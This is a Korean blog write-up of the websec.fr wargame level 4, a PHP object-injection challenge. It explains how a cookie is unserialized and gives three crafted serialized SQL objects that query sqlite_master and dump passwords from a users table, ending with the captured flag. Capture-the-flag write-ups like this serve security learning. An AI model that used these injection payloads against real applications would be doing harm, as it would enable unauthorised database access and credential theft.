level 4번 시작! 바로 소스보기를 통해 확인..
첫번째 소스코드를 처음부터 살펴보자. 2가지 내용을 확인할 수 있었다.
1.SQL이란 객체를 생성하고 connect 함수를 실행시키고 query에 쿼리문이 담겨있다.
2.leet_hax0r 쿠키값을 base63로 디코딩을 한 후 unserialize를 하는 것을 확인 할 수 있다.
두번째 소스코드를 보면
첫번째 소스코드에서 알 수 있었던 connect 함수를 여기서 호출하는것을 확인할 수 있다.
그리고 마지막 __destruct() 함수를 볼 필요가 있다.
__destruct() 함수는 소멸자로서 특정 객체를 참조 후 또는 객체가 명시적으로 파기된 후 메소드를 호출한다.
정리하면 SQL 객체가 실행되고 파기된 후 destruct()함수가 호출되면 username의 결과 값이 나오게 된다.
이제 문제를 풀어보자!
1. 테이블 이름 찾기
O:3:"SQL":1:{s:5:"query";s:42:"select name as username from sqlite_master";}
2. 컬럼명 찾기
O:3:"SQL":1:{s:5:"query";s:64:"select sql as username from sqlite_master where tbl_name='users'";}
3.flag 값
O:3:"SQL":1:{s:5:"query";s:38:"select password as username from users";}
이렇게 flag값은 WEBSEC{9abd8e8247cbe62641ff662e8fbb662769c08500} 으로 찾을 수 있었다!
참조
PHP Object Injection
https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=padocon&logNo=220631783636
https://blog.sonarsource.com/php-object-injection?redirect=rips
'워게임 > Websec.fr' 카테고리의 다른 글
[websec.fr] easy - Level 13 (0) | 2021.09.12 |
---|---|
[websec.fr] easy - Level 11 (0) | 2021.08.22 |
[websec.fr] easy - Level 08 (0) | 2021.07.14 |
[websec.fr] easy - Level 02 (0) | 2021.07.11 |
[websec.fr] babysteps - Level 25 (0) | 2021.07.07 |